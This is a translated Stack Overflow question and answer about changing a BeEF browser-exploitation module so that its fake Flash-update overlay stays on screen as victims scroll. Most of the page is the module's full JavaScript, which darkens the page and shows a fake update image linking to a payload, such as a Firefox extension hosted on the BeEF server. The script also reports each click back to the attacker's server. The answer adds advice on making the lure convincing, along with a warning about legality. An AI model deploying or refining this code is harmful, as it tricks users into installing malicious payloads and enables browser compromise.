首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何将浮动div添加到beEF projects脚本

如何将浮动div添加到beEF projects脚本
EN

Stack Overflow用户
提问于 2016-02-03 21:30:21
回答 1查看 83关注 0票数 0

在beEF项目中,有一个脚本可以执行具有灰色背景的假flash更新和用于flash更新的图像。问题是当用户向下滚动时。背景和图像仍然在页面的顶部,所以我尝试编辑脚本并添加一些jquery代码,使其在访问者向下滚动时随他/她移动,但我做不到。

代码语言:javascript
复制
//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  
  // Module Configurations
  var image = "<%== @image %>";
  var payload_type = "<%== @payload %>";
  var payload_uri = "<%== @payload_uri %>";

  var beef_root = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port;
  var payload = "";

  // Function to gray out the screen
  var grayOut = function(vis, options) {
    var options = options || {};
    var zindex = options.zindex || 50;
    var opacity = options.opacity || 70;
    var opaque = (opacity / 100);
    var bgcolor = options.bgcolor || '#000000';
    var dark=document.getElementById('darkenScreenObject');
    if (!dark) {
      var tbody = document.getElementsByTagName("body")[0];
      var tnode = document.createElement('div');
      tnode.style.position='absolute';
      tnode.style.top='0px';
      tnode.style.left='0px';
      tnode.style.overflow='hidden';
      tnode.style.display='none';
      tnode.id='darkenScreenObject';
      tbody.appendChild(tnode);
      dark=document.getElementById('darkenScreenObject');
    }
    if (vis) {
      var pageWidth='100%';
      var pageHeight='100%';
      dark.style.opacity=opaque;
      dark.style.MozOpacity=opaque;
      dark.style.filter='alpha(opacity='+opacity+')';
      dark.style.zIndex=zindex;
      dark.style.backgroundColor=bgcolor;
      dark.style.width= pageWidth;
      dark.style.height= pageHeight;
      dark.style.display='block';
    } else {
      dark.style.display='none';
    }
  };


  // Payload Configuration
  switch (payload_type) {
    case "Custom_Payload":
      payload = payload_uri;
    break;
    case "Firefox_Extension":
      payload = beef_root + "/api/ipec/ff_extension";
      break;
    default:
      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=payload not selected');
      break;
  }

  // Create DIV
  var flashdiv = document.createElement('div');
  flashdiv.setAttribute('id', 'flashDiv');
  flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');
  flashdiv.setAttribute('align', 'center');
  document.body.appendChild(flashdiv);

  // window.open is very useful when using data URI vectors and the IFrame/Object tag
  // also, as the user is clicking on the link, the new tab opener is not blocked by the browser.
  flashdiv.innerHTML = "<a href=\"" + payload + "\" target=\"_blank\" ><img src=\"" + image + "\" /></a>";

  // gray out the background
  grayOut(true,{'opacity':'30'});

  // clean up on click
  $j("#flashDiv").click(function () {
    $j(this).hide();
    document.body.removeChild(flashdiv);
    grayOut(false,{'opacity':'0'});
    document.body.removeChild(document.getElementById('darkenScreenObject'));
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked');
  });

});

EN

回答 1

Stack Overflow用户

发布于 2016-02-03 21:39:12

克拉奇。坚持使用基线BeEF。如果你把它扔到用户的脸上,他们会认为它很粗糙,不会点击它。你必须像你的攻击目标那样思考。如果你是用户,如果它跟随你整个页面,你会点击下载的东西吗?当然不是!

底线是,坚持使用常规的BeEF。他们做得很对。

此外,您可以使用它的唯一合法方式是,如果您出于测试目的对自己执行此操作。由于我的背景,我必须提醒你,除了对自己或同意的朋友使用BeEF之外,任何使用它都是非法的。不要试探警察,也不要做傻事,在互联网上做。这会让你进监狱的。

干杯!

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/35178464

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档